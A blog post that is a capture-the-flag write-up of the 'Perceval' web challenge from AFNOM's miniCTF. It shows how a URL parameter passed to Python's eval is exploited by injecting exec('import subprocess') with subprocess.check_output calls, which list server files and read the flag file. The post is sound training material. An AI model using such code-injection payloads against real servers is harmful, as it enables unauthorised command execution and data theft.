miniCTF's Perceval

Published: Nov. 8, 2021, 10:12 a.m.

miniCTF was AFNOM's little CTF to introduce new members what capture the flag is. Now, I'm not a new member, but participated anyways, because what else am I going to do from 3PM to 5PM on a Wednesday? To make things harder, I went for the final web challenge - Perceval.

The door

Let's start off by saying that it's a very deceitful challenge - my first instinct was to look for things in the website, I wrote a script to dump all pages within, then started to look for connections between different knights, "but wait", I hear you say, "this is a web challenge, not steg or misc!" To which I now fully agree. I've been looking at the depths of the website, while all I had to do was look at what's above.

The key

If you check the URL within any of the knight's pages, you'll notice that it has the following format:'the_name_of_the_knight'

Why the quotes? What if we put something else in there?

Entering a non-existent name in the quotes we get a really nice error message:

No such key: ==>'ds'<==

Traceback (most recent call last):
  File "/home/guest/./", line 50, in knight
    data = get_knight_info(knightname)
  File "/home/guest/./", line 39, in get_knight_info
    data = KNIGHT_DATABASE[knight_evaluation]
KeyError: 'ds'

Look at that - it's a key for a dictionary! Not only that, what does "knight_evaluation" imply? That's right, the URL is being run through python's eval function, which basically executes arbitrary expressions.

The hole

To exploit the website, we need to somehow take a peek at the system at hand. For that we will need to execute system commands. eval does not allow to import libraries, but we can use another python function within the evaluation - exec. Using another trick we end up with the following url (notice no more enclosing quotes):'import subprocess') or str(subprocess.check_output(['ls']))

Which will list files in the current working directory:

KeyError: "b'\\\\nstatic\\ntemplates\\n'"

With this information, we can simply read out the'import subprocess') or str(subprocess.check_output(['cat', '']))

Which will contain the following key part:


I definitely did not get confused about the new base 8^2 encoding, but after decoding it we get the flag:


All in all, a really fun challenge! Struggled a bit by overcomplicating it (let's not talk about the USB one, okay?) but eventually got there!